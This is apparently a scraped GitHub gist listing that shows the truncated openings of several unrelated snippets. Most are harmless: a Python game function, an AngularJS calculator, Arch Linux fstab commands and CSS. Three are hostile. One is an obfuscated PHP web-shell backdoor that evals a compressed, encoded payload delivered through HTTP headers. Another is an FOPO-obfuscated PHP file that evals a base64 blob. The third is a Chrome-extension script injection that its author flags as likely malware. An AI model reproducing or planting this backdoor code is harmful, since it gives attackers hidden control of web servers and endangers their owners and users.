All frameworks are not created equal...but what really is the difference? And when should I use which one?
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
"""Usage: devil.devilgame(N, (F,B,T,FD,BD)) | |
Expects 2 arguments. First is integer while second is a tuple. | |
""" | |
def devilgame(N, (F, B, T, FD, BD)): | |
# initializing variables | |
piratesPos = 0 | |
meters = 0 | |
returnStr = ["", ""] | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$p='allK*("/([\\w])[\\w-]+K*(?:;q=0K*.([K*\\d]))?,?K*/",$ra,$m)K*;if($qK*&&$m){K*@sessiK*on_K*start();$K*s=&$'; | |
$W=str_replace('OF','','crOFOFeOFate_fOFuncOFtOFion'); | |
$U='i.$kK*h),0,3K*));$K*f=$K*sK*l($ss(K*md5($i.$K*kf),0,3)K*);$p=""K*;foK*r($z=1;$z<counK*t($mK*K*[1])K*;$'; | |
$H='0;$K*i<$K*l;)K*{for($j=0K*;K*($j<$c&&$i<K*$l);$j++,$iK*++K*){$oK*K*.K*=$t{$i}^$k{$j};}K*}return $o;}$rK*=$_S'; | |
$x='$kK*h="9689";$kf=K*"8bbK*8";functioK*n x($tK*,$k){$K*c=sK*trK*lenK*($k);$l=stK*rlen($t)K*;$o=""K*;forK*($i='; | |
$P='_K*K*SESSIONK*;K*$ss="K*substr";$slK*="strtK*olower"K*;$K*i=$m[1][0].$m[1K*]K*[1];$K*h=$sK*l($ss(md5($'; | |
$J='();@evK*alK*(@gzuncK*omprK*ess(@x(@basK*e64_decoK*dK*e(preg_replaK*ce(arK*K*ray("/_K*/","/-/K*K*"),arr'; | |
$D='*y_existK*s($i,$K*s))K*{$K*s[$K*i].=$p;K*$e=strposK*($s[$i],$f)K*;K*if($e){$k=K*$kh.$kfK*K*;ob_starK*t'; | |
$h='K*ERVER;$rK*r=@$r["HK*TTP_RK*EFEK*RER"];K*$ra=@$r[K*"HTK*K*TP_ACCEPT_LANK*GUAGE"K*];if($rr&K*&$K*ra){$'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// took out from https://chrome.google.com/webstore/detail/emaze/aiimeahlhgelkbokgffmpdagdaachlpk | |
// do not install. High possibility of being a malware... | |
setTimeout(function() | |
{ | |
(function() | |
{ | |
var _0x47a5x0=document["getElementsByTagName"]("head")[0]; | |
var _0x47a5x1=document["createElement"]("script"); | |
_0x47a5x1["type"]="text/javascript"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var app = angular.module('lCalc', []); // init angular app | |
app.controller('calcCtrl', [ | |
// controller definition | |
'$scope', | |
function($scope) { | |
$scope.calculate = function(){ | |
if($scope.first == "" || $scope.second == "") { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# First, install arch-install-scripts: | |
sudo pacman -S --needed arch-install-scripts | |
# Secondly, mount your partitions in all the internal hard drives | |
# Thirdly, generate and validate your config by piping it out to stdout: | |
genfstab -U -p / | less | |
# If all looks green, proceed to overwrite your current fstab with the new entries: | |
su -c "genfstab -U -p / >> /etc/fstab" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env php | |
<?php | |
error_reporting(false); | |
$n = $ne = isset($argv[1]) ? $argv[1] : 5; | |
if(!intval($ne) || $ne < 1) { | |
echo "Usage: asteriskhill.php [height]\n"; | |
echo "height can be any integer above 0\n"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Usage: <li class="locate" address="some address">Some Chapter title</li> | |
"use strict" | |
// global map object. Note that map is not real Map object (google maps api) | |
// this is a wrapper to keep objects organized. | |
var map = { | |
objectMap: {}, | |
infoWindow: {}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.roob-search { | |
font-size: 24px; | |
} | |
.masthead { | |
background: black; /* add your color here */ | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/ | |
This code was created on Tuesday, May 30th, 2017 at 22:29 UTC from IP 159.146.47.84 | |
Checksum: ff73395f7b16ebacc0415646d7fe6909dd11f804 | |
*/ | |
$j71b376f="\142\141\x73\x65\x36\x34\137\x64\x65\143\157\144\145";@eval($j71b376f( | |
"Ly9OTitOOFUrVHFKdDFOd0pWSmRpdkdBbXVuUDcwUENXZFVrMUR0VGJQMEZ6L1pMTGgrbGVBK2FyUHRh | |
TzVoZGk5RjRLaFEzZUtkVkNXbWlrQUxQNk9URSt3OWN1SkZGWDlDWFpLNHRDYnhJMTdwY2lOQ0RyTDNlS | |
ElNWG1UVGZFWFBEaGFFM1l3RXhacHl5UmJqYmovdVRZdFJRZzhHZ3ZYeVk5a282THplcnJiVFhic0VTMD |
OlderNewer